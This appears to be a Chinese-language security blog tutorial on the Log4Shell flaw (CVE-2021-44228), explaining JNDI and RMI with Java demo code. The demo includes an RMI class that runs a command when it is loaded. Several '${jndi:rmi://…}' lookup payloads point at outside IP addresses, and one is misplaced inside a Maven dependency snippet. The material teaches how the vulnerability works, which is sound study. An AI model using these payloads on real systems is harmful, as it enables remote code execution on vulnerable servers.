java安全(7)Log4j2基础+漏洞原理成因

log4j2 远程代码执行漏洞 CVE-2021-44228

what’s log4j

先简单叨叨两句日志是什么

日志对蓝队来说还是蛮重要的,出现各种问题都可以去日志看看报错,发生攻击,日志也是进行排查发现红队蛛丝马迹的重要资源

日志三大功能:

问题诊断、审计、性能监控

那么 log4j – 基于java的日志系统

通过日志记录器接口,为程序提供了灵活的配置选项,可以将不同级别的消息输出到不同的目的地如控制台、文件、数据库等。Log4j 可以帮助开发人员更好地调试应用程序,同时也方便了运维人员对应用程序进行监控和故障排查。

配置以及使用样例

引入 log4j 依赖:

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.14.1</version>
</dependency>
"${jndi:rmi://39.105.131.50:8085/VBAUrimN}"

log4j 使用样例

package org.test;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class TestLog4j {
    private static Logger logger = LogManager.getLogger("Log4jDemoApplication");
    public static void main(String[] args) {
        String name="rice";
        String admin="admin";

        if(name.equals(admin)){
            System.out.println("登录成功");
        }else{
            logger.error("登录失败");
        }

    }
}

运行,可以看到,由于 name 属性是 rice ,并非 admin 直接会在控制台输出一个登录失败

两个概念

两个小概念,备用(虽然我第一次看的时候也不太能弄明白 JNDI 到底什么玩意

jndi 和 rmi 实际运作起来的原理很复杂,先不深究,自顶向下学习的魅力(

JNDI

JNDI(Java Naming and Directory Interface,Java命名和目录接口)

//一段定义概述

Sun 公司提供的一种标准的 Java 命名系统接口,JNDI 提供统一的客户端 API,通过不同的 =访问提供者接口 JNDI 服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和服务系统,使得 Java 应用程序可以和目录服务之间进行交互

RMI

远程对象方法调用,简单概括就是让一个 JVM 中的对象可以调用另一个 JVM 中的对象的方法并获取调用结果

另一个 JVM 可以在同一个主机,也可以不在同一个主机,自然而然的,rmi 就会有两个需求:一个 Server 端和一个 Client 端,Server 端需要创建一个类,并注册其为可以被外部远程访问,称为 远程对象 ,Client 端可以调用远程对象的方法,打成互相通信

jndi注入

示例

起手先来一个示例:

一个接口,继承了 Remote,rmi 的 Remote ,可以被远程访问,然后 Evil 类,实现了接口,并且继承了 unicastremoteobject ,还有一个 rmiserver,一个 jndiclient

Remoteobject

package org.test;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.io.IOException;

public interface RemoteObj extends Remote {
    public void sayhi() throws IOException;
}

继承了 rmi 的 remote,一个 sayhi 方法

Evil

package org.test;

import java.io.IOException;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class Evil extends UnicastRemoteObject implements RemoteObj {
    protected Evil() throws RemoteException {
    }
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
    @Override
    public void sayhi() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
}

实现了接口,重写了 sayhi 方法,调用 runtime 去弹计算器

RMIServer

package org.test;

import java.rmi.AlreadyBoundException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIserver {
    public static void main(String[] args) throws RemoteException, AlreadyBoundException {
        RemoteObj remoteObj = new Evil();

        Registry r = LocateRegistry.createRegistry(1099);

        r.bind("RemoteObj", (Remote) remoteObj);

        System.out.println("RMI server started");
    }
}

server 实例化了 Evil 类(new 了一个然后当作远程类)

创建 1099 端口作为 rmi 的服务端,之后将 remoteobject 放到上面去监听(也就是刚刚 new 的那个 Evil 类)

JNDIClient

如果只是通过 rmi 进行远程方法调用,而不涉及动态加载远程类, JNDIServer 是不必要的

package org.test;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.io.IOException;

public class JNDIclient {
    public static void main(String[] args) throws NamingException {    
        System.setProperty(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
        System.setProperty(Context.PROVIDER_URL, "rmi://localhost:1099");

        InitialContext initialContext = new InitialContext();
        
        RemoteObj remoteObj = (RemoteObj) initialContext.lookup("rmi://localhost:1099/RemoteObj");

        // 调用远程方法
        try {
            remoteObj.sayhi();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

首先初始化上下文(new 一个 InitialContext)然后调用他的 lookup,就能获取到远程对象(rmi 标签),之后就可以对远程对象的方法进行调用

先把 rmiserver 运行起来,之后运行 JNDIClient ,可以看到弹出计算器,成功调用到了 Evil 的 sayhi 方法

总结下来就是,jndi 提供访问,rmi 提供远程对象(简单理解)

漏洞原理

上面一个示例演示的是什么呢?先看一下漏洞的成因:

log4j远程代码执行漏洞大致过程(此处使用RMI,LDAP同理)

因为Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议即可),并会通过名称从ldap/rmi 服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。

假设有一个Java程序,会将用户名信息记录到日志中:

攻击者发送一个HTTP请求,其中包含了${jndi://rmi服务器地址/Exploit}的 jndi 语句

此时Log4j2会解析到 ${},读取出其中的内容。判断其为 RMI 实现的 JNDI。于是调用 Java 的 lookup 方法,尝试完成 RMI 的 lookup 操作,加载实例化远程类,如果类中存在一个比如静态方法(上述示例中就已经写入了一个,在启动 rmi 服务的时候也会因为 new 了一次 Evil 类而触发一个计算器)

当然了如果有调用一个对象的方法(比如上面的 sayhi 方法)也一样的,只不过写入静态方法这种操作只要实例化加载出来就会触发

示例

修改一下最开始的测试 log4j 使用的样例:

package org.test;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class TestLog4j {
    private static Logger logger = LogManager.getLogger("Log4jDemoApplication");
    public static void main(String[] args) {
        String name="rice";
        String admin="admin";

        if(name.equals(admin)){
            System.out.println("登录成功");
        }else{
            logger.error("jndi:rmi://26.50.144.144:8085/HNBnnaUd");
        }

    }
}

//本地起的 rmi 测试一直不成功,不是很能理解,代码功能没有错,但就是解析不弹计算器,这里用 yakit 起个 rmi 的反连好了

起个 urldns 链子,之后开 rmi 反连,copy 过去,运行测试一下

产生解析记录,测试成功

所谓 jndi 注入,就跟 sql 注入似的,让构造的 jndi 出现在日志中

不得不说 java 安全这块真是,链子千篇一律,产生的原因和利用方式五花八门(

也可以利用自己云服务器去搭建 rmi/ladp 服务,也挺简单的,写好类然后编译成 class,用 python 起个目录服务,再用工具起 rmi 服务就ok,网上也有文章教

log4j2 识别

接下来就是该如何识别,探测到 log4j 的指纹

直接上被动扫描,bp 的插件 log4j2burpscanner,或者用测绘引擎查,没啥技术含量

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇